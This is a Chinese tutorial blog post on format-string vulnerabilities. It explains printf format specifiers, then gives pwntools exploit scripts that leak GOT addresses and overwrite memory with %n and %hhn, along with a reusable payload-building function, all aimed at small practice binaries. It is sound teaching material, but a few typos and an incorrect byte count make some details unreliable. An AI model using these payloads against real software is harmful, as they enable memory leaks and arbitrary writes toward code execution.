格式化字符串

传说中的Format String 泄露任意地址和覆盖任意地址

原理

格式化字符串函数

格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式,格式化字符串函数可以接受可变数量的参数,并将其第一个参数作为格式化字符串函数。像是 printf('My name is %s','Modifier')printf() 就是格式化字符串函数。

常见的格式化字符串函数

输入
  • scanf
输出
  • printf 输出到stdout
  • fprintf 输出到FILE流
  • vprntf 根据参数列表格式化输出到stdout
  • vfprintf 根据参数列表格式化输出到指定 FILE 流
  • sprintf 输出到字符串
  • snprintf 输出指定字节数到字符串
  • vsprintf 根据参数列表格式化输出到字符串
  • vsnprintf 根据参数列表格式化输出指定字节到字符串
  • setproctitle 设置 argv
  • syslog 输出日志

格式化字符串的格式

1
%[parameter][flags][field width][.precision][length]type
  • Parameter - 可省略

表示为n$,这个格式说明符用于说明显示第几个参数。这使得同一个参数可以以不同的顺序被输出多次。需要注意的是,如果任意一个占位符使用了parameter,那么所有的占位符都必须使用parameter。

eg:printf("%2$d ,%1$d",16,17) 输出结果为17,16

  • Flags - 可以为0或者多个
字符 描述
+ 仅用于数值类型。用于表示有符号数值的 +- 号,缺省情况时省略正数的符号。
空格 作用于有符号数的输出,如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与’+’同时出现,则空格说明符被忽略。
- 左对齐。缺省情况是右对齐。
# 对于 gG ,不删除尾部0以表示精度。对于 f , F , e , E , g , G , 总是输出小数点。对于 o , x , X , 在非0数值前分别输出前缀0, 0x, and 0X表示数制。
0 如果 width 选项前缀以0,则在左侧用0填充直至达到宽度要求。例如printf("%2d", 3)输出 3,而printf("%02d", 3)输出 03 。如果0-均出现,则0被忽略,即左对齐依然用空格填充。
  • Field width

field width 即域宽,用于表示输出字符的最小宽度,常用于制表输出时填充固定宽度的表目。

如果实际输出内容宽度小于field width,则默认按照左对齐的标准进行填充;当实际输出内容宽度大于field width,不会截断而是原样输出。

如果域宽值为*,作为一个参数传递时则由对应的函数参数的值为当前域宽,例如 printf("%*d",5,10) ,参数5将传递给*作为这个输出的域宽。

需要注意,域宽没有负值且不能设置为0:前导的负值被解释为一个正数前导值和左对齐标志负号;前导0被解释为flag的0填充标志。

  • .Precision

Precision 是精度,在构造函数时不能忘记前缀 . 。precision 通常指输出的最大长度,其不同的含义依赖于具体的不同的格式化类型:

对于 diuxo 的整型数值是指最小的数字位数,不足的位要在左侧补0,如果超过也不截断,缺省值为1。

对于 a/Ae/Ef/F 的浮点型数值,是指小数点后显示的位数,必要时四舍五入或补0,缺省值为6。

对于 s 的字符串类型,是指输出的字节的上限,超出限制的其它字符将被截断。

需要注意的是,如果设置为*,则由对应的函数参数的值为当前精度值。例如 printf("%.*s",3,"abcde") 的输出为 abc

  • Length - 可省略

length 指输出的浮点型或者整型参数的长度,也被称为size。

字符 描述
hh 表示函数期望接收一个 char 类型的参数,并会将它提升为 int 类型。
h 表示函数期望接收一个 short 类型的参数,并会将它提升为 int 类型。
ll 表示函数接收一个 long long 类型的参数,并会把它转换为 int 类型。
l 表示函数接收一个 long 类型的参数,并会把它转换为 int 类型。
L 表示函数接收一个 long double 类型的参数,并会把它转换为 double 类型。
j 表示函数接收一个 intmax_t (带符号的最大宽度整型,其范围在不同的系统上可能有所变化) 类型的参数,并会把它转换为 int 类型。
t 表示函数接收一个 ptrdiff_t () 类型的参数,并会把它转换为 int 类型。
z 表示函数接收一个 size_t 类型的参数,并会把它转换为 int 类型。
  • type

type就是类型转换符,可以具体如下:

字符 描述
d/i signed int 。在输出时,di 同义,但在输入时有所不同。 %i 在输入值有前缀 0x 时,将数据转换为16进制;在有前缀 0 时,将数据转换为8进制。
u 十进制 unsigned int
f/F 固定小数点表示法表示的double,小数点后的位数由精度字段控制。f F 在输出无限大和NAN时打印出的字符串不同,finfinfinitynanFINFINFINITYNAN
e/E 以科学计数法表示的double,指数部分使用小写字母 eE 引入。指数至少包含两个数字,如果值为零,则指数为00。例如,1.2345e+03表示1.2345乘10的3次方。
g/G 按照具体情况在固定小数点表示法和科学计数法之间选择合适的double。
x/X 以十六进制数形式输出的 signed int 。x使用小写字母,X使用大写字母。
o 以八进制形式输出的 signed int
s 以空字符结尾的字符串。
c char(字符)。
p void*(指向void的指针)以特定于实现的格式输出。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
a/A 以十六进制表示法输出的double,以0x或0X开头。a使用小写字母,A使用大写字母。
n 不输出任何内容,但将到目前为止已写入的字符数写入整数指针参数。

格式化字符串漏洞原理

我们知道,x86是通过栈来传递函数的参数的,举个栗子:

1
2
3
4
5
int main()
{
printf("%s %x %s","hello Modifier\n", 0xcafebabe, "\n");
return 0;
}

查看其执行printf时的栈结构如下(这里编译成64位的了,所以在gdb不会在栈中显示格式化字符串本身)

实际栈中的结构从高到低依次是'\n'指针 --> 0xcafebabe --> 'hello Modifier\n'指针-->格式化字符串指针

看上去一切正常,那么我们如何触发格式化字符串漏洞呢?

根据 cdecl 的调用约定,在进入 printf () 函数之前,将参数从右到左依次压栈。进入 printf () 之后,函数首先获取第一个参数,一次读取一个字符。

  • 如果字符不是 %,字符直接复制到输出中。
  • 字符是%,读取下一个字符。如果字符为空则报错,如果字符为%,输出%,除此之外,获取相应的参数并解析输出。

总而言之,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配

如下面的例子:

1
2
3
4
5
int main()
{
printf("%s %x %s %x %x %x","hello Modifier", 0xcafebabe, "\n");
return 0;
}

运行就会输出栈上的高地址

同样,如果我们把函数写成这个样子:

1
2
3
4
5
int main()
{
printf("Color %s, Number %d, Float %4.2f");
return 0;
}

程序照样会运行,但输出如下图

其中第一个%s,程序将其解析为其地址对应的字符串,如果我们提供一个不存在的地址,程序就会崩溃。

利用

就像在格式化字符串原理部分说的,格式化字符串的两个利用手段就是;

  • 利用%s 对应的参数地址不合法让程序崩溃。
  • 根据 %d,%f 输出了栈上的内容,查看栈上的内容。

程序崩溃

利用格式化字符串让程序崩溃很简单,只需要向程序输入无数个%s。对于每一个%s,程序都要获取一个栈上的数字,并把该数字视作一个地址,然后打印出地址指向的内存内容,直到出现NULL字符。但是栈上并不是每一个值都对应着一个合法的地址,总会有一个对应的内存不存在,就可以让程序崩溃。

比如:printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

利用这一漏洞,我们虽然不能控制程序,但是可以让服务崩溃,使得其他用户无法访问。

泄露内存

泄露栈内存

我们可以利用程序崩溃来验证漏洞,除此之外我们还是要利用格式化字符串获取有效信息,为下一步的漏洞利用做准备。

我们已经知道格式化字符串函数从栈上取值,并且在x86中参数逆序(从右到左)进栈,而对于printf函数来说,实际参数也按照逆序的顺序被压入栈中,所以参数在内存中出现的顺序和printf调用时的顺序一样。

泄露栈变量数值

举个栗子:

1
2
3
4
5
6
7
8
9
10
int main()
{
int a = 0xAAAAAAAA;
int b = 0xBBBBBBBB;
int c = 0xCCCCCCCC;
char *str = "%p %p %p\n";
printf("%p %p %p %s\n", a, b, c, str); //输出三个整型变量,接着输出字符串 str
printf(str); //直接将 str 字符串作为格式化字符串
return 0;
}

输出是这个样子的

可以看到第二个print处输出了两个地址,分别看一下两个printf的栈结构

可以看到,我们利用自己写的格式化字符串能够查看栈上的信息。

像例题这样的格式化字符串函数写法,我们只能按顺序获取栈上的参数。我们可以稍加修改,根据前面讲到的格式化字符串的格式,我们可以通过%n$[type]的方式查看第n个参数的值

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main()
{
int a = 0xAAAAAAAA;
int b = 0xBBBBBBBB;
int c = 0xCCCCCCCC;
char str[200];
scanf("%s",str);
printf("%p %p %p %s\n", a, b, c, str);
printf(str);
return 0;
}

我们在开始输入%3$x,查看第二个printf处的栈结构

查看输出结果,printf输出了第3+1个参数对应的值

获取栈变量对应字符串

还是用上面的那个程序,这次输入$s来试一下

在第二次 printf 处,程序将 0xffffcfe4 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

需要注意的是,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,程序就会直接崩溃

我们尝试输入 %4$s,就会报错直接崩溃。

小结
  • 可以利用 %x 或者 %p 来获取相应栈上的内存,区别是输出的信息是否包含前缀”0x”( %p 会自动添加前缀”0x”,而 %x 不会)

  • 利用 %s 来获取变量所对应地址的内容,但需要注意字符串以零字符(’\0’)作为结尾。该地址上存储的数据可能会被截断,只会输出到遇到第一个零字符为止。

  • 利用 % [n]$x 来获取指定参数的值,利用 %[n]$s 来获取指定参数对应地址内容。

泄露任意地址内存

我们在做题的时候经常会需要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这个时候我们就需要控制泄露某一个地址的内存。

一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的。也就是说,调用输出函数的时候我们的第一个参数值就是这个格式化字符串的地址

在我们上面输出字符串的例子中,我们可以看出栈上的第二个变量就是我们的格式化字符串地址 0xffffcFE0,同时该地址存储的也是 “%s” 格式化字符串内容。

那如果我们知道某个格式化字符串在输出的时候调用的是第几个参数,我们就可以通过下面的方法获取某个指定地址的内容。

1
[addr]%[k]$s
确定相对偏移

那么如何确定该格式化字符串是第几个参数呢?我们可以向程序发送如下格式的payload:

1
[tag]%p%p%p%p%p%p%p%p%p%p%p%p%p%p

其中 [tag] 是我们判断的标志,我们一般会选择重复某一个字符的机器字长作为 tag ,比如 ‘AAAA’。如果输出的栈上的内容和我们的 tag 重复了,那么这个地址大概率就是格式化字符串的地址,可以更换多个 tag 再次确认尝试。

还是之前的程序,我们输入AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p来测试一下

其中第二次 printf 输出如下(为了方便看,我在每两个地址之间加了空格):

1
AAAA 0xffffcffc 0xf7de0012 0x80484a0 0xf63d4e2e 0x804825c 0x7b1ea71 0x41414141 0x70257025 0x70257025 0x70257025 0x70257025

由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第8个参数,是格式化字符串的第7个参数。我们可以来测试一下,再一次输入 %7$p即可读出这里的内容。如果这是个不合法的地址,程序将会崩溃。

当然会这个也没有什么用(x

确定利用的函数

就像前面说的,我们真正经常用到是把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址,最后根据函数在 libc 中的相对位置,计算出我们需要的函数地址。

还是用上面的例子,我们输入一个可访问的地址,比如scanf@got,就应该输出scanf对应的地址。

我们首先使用 read -r test 命令查看其重定向表:

这里之所以没有使用 printf 函数,是因为 scanf 函数会过滤掉一些字符,就像 ‘\x0c’ (‘\f’) 、’’\x07’ (\a’) 、’\x08’ (’\b’) 、’\x20’ (SPACE)等的不可见字符都会被省略。

直接用pwntools写个exp,把获取got表地址写在里面

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=process('./test')
elf = ELF("./test")

scanf_got = elf.got['scanf']
print(hex(scanf_got))

payload=p32(scanf_got)+b'%7$p'
gdb.attach(p,"break printf")
p.sendline(payload)
print hex(u32(p.recv()[4:8]))
p.interactive()

最终的输出和gdb栈结构如下,可以看到我们打印输出的确实是scanf的地址

小结
  • 首先确定要泄露的参数的相对偏移
  • 确定要利用的函数
  • 进行泄露

覆盖内存

覆盖栈内存

在格式化字符串的多种类型中,有一个神秘的 %n······(x

%n 不输出字符,但是把已经成功写入流或缓冲区中的字符个数写入对应的整型指针参数所指的变量。

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main()
{
int num;
char *str = "Hello Modifier";
printf("%s %n\n", str, &num);
printf("%d\n", num);
return 0;
}

//输出为
Hello Modifier
15 //'Hello Modifier'+"%s %n"中间的空格 = 15

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数(快去复习一下格式化字符串的格式)。

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main()
{
int num;
printf("%010u%n\n", 1, &num); //%010u 输出域宽为10的十进制整型数字,不足的位数在左侧用0补齐
printf("num is %d\n", num);
return 0;
}

//输出为
0000000001
num is 10

同理我们可以将一个十六进制的地址进行适当的转换,利用格式化字符串写入内存。

需要注意的是,我们不能直接转换为一个占位很大的十进制进行编写,如果占位符的长度超出了int类型的范围,这将导致未定义的行为。也就是说这个覆盖不一定会成功,成功与否取决于不同的编译器和不同的平台。

接下来都用下面的程序进行相应的学习:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
include<stdio.h>
int a=123,b=456;
int main()
{
int c=789;
char s[100];
printf("%p\n",&c);
scanf("%s",s);
printf(s);
if (c == 16)
{
puts("modified c.");
}
else if (a == 2)
{
puts("modified a for a small number.");
}
else if (b == 0x12345678)
{
puts("modified b for a big number!");
}
return 0;
}

无论覆盖什么地址的变量,我们都是构造类似如下的payload:

1
[padding][overwrite addr]%[overwrite offset]$n

payload需要写的数据也就是我们要覆盖内存的步骤:

  • 确定覆盖的地址
  • 确定要覆盖的变量的相对偏移
  • 进行覆盖
确定覆盖地址

在这里我们设计程序直接输出了栈变量C的地址。在实际运用中,我们可以利用其它方法获取相应地址。

确定相对偏移

利用上面讲过的简单粗暴的方法进行操作,确定是格式化字符串的第6个参数

1
2
3
4
$ ./overflow
0xff8f615c
AAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p //这里是我们的输入
AAAA,0xff8f60f8,0xf7f84410,0x80484bd,(nil),0x1,0x41414141(在这里!),0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70
进行覆盖

我们已知第六个参数值就是存储变量 c 的地址后,便可以利用%n的特征来修改 c 的值啦!

根据上面说过的,我们目标输出 modified c.,需要把 c 改为16,则payload 为:

1
[address of c]%012%6$n  

最终的exp脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=process('./overflow')
elf = ELF('./overflow')
addr_c=int(p.recvuntil('\n', drop=True),16)
print hex(addr_c)

payload=p32(addr_c)+b'%012d'+b'%6$n'
#[address of c]%012%6$n addr of c 的长度为 4,故而我们得再输入12个字符才可以达到16个字符
print payload
#gdb.attach(p,"break printf")
p.sendline(payload)

print p.recv()

p.interactive()

最后运行结果

覆盖任意地址内存

覆盖小数字

按照我们上面讲过的payload大致格式,需要在输入内容之前前缀将要覆盖的地址,这个地址将会占用机器字长个字节,也就是说我们能覆盖的最小值就是4字节或者8字节,当我们想要修改变data变量为小于机器字长的数值时该怎么办呢?

我们可以不把变量的地址放在格式化字符串的前面。我们当时寻找偏移把 tag 放在字符串的最前面是因为这样比较方便直观,如果我们把 tag 放在中间,其实也不影响,如下,

1
2
%p,%p,AAAA,%p,%p,%p,%p,%p,%p        
0xffe2c948,0xf7fa1410,AAAA,0x80484bd,(nil),0x10,x70257025,0x41414141,0x70257025

同样,我们可以把希望覆盖的的地址写在后面,对应的我们要将%n的参数进行相应的修改。同时我们想要将a覆盖成2,就可以写成下面的形式:

1
aa%k$n[padding][addr of a]  //padding 用来填充对齐机器字节

最后的exp为:

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=process('./overflow')
elf = ELF('./overflow')
addr_a=0x0804A024

payload=b'aa%8$naa'+p32(addr_a) #b'aa%8$naa'占8字节也就是两个变量的长度,所以地址相应后推两位就是放在第8个变量的位置
p.sendline(payload)

print p.recv()
p.interactive()

对应的结果是:

覆盖大数字

在前面说过,如果一次性输出大数字个字节来进行覆盖,那么结果成功与否是我们不可控的,我们就需要用别的方式进行覆盖。我们需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数。利用方法如下

1
2
3
4
5
6
7
8
9
10
11
char c;
short s;
int i;
long l;
long long ll;

printf("%s %hhn\n", str, &c); // 写入单字节
printf("%s %hn\n", str, &s); // 写入双字节
printf("%s %n\n", str, &i); // 写入4字节
printf("%s %ln\n", str, &l); // 写入8字节
printf("%s %lln\n", str, &ll); // 写入16字节

我们都知道在x86中和 x64 的体系结构中,变量以小端序存储。像题目中所要求的,我们需要将b覆盖为0x12345678,这个0x12345678 在内存中地址从低到高就是 \x78\x56\x34\x12。同时我们利用ida得知b的地址是 0x0804A028。那么我们希望覆盖的方式就是:

1
2
3
4
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

同理payload也要构造为分别赋值的形式,大致如下:

1
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

可以靠自己的努力一一计算,也可以使用下方现成的基本构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

只需在main函数中调用fmt_str()函数,填充相应变量即可。

其中每个参数的含义基本如下:

  • offset 表示要覆盖的地址最初的偏移
  • size 表示机器字长
  • addr 表示将要覆盖的地址。
  • target 表示我们要覆盖为的目的变量值。

最终得到exp:(函数构造也要写在exp里的,这里防止啰嗦就不写了

1
2
3
4
5
6
7
from pwn imort *
p=process('./overflow')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
p.sendline(payload)
print p.recv()
p.interactive()

最后结果:


格式化字符串基础部分over!😎

格式的Length部分真的是花了我好久才搞明白什么意思,中文网站上都是直译英文,去英文网站用尽毕生英语所学才搞懂😨


格式化字符串
https://shmodifier.github.io/2023/07/10/格式化字符串/
作者
Modifier
发布于
2023年7月10日
许可协议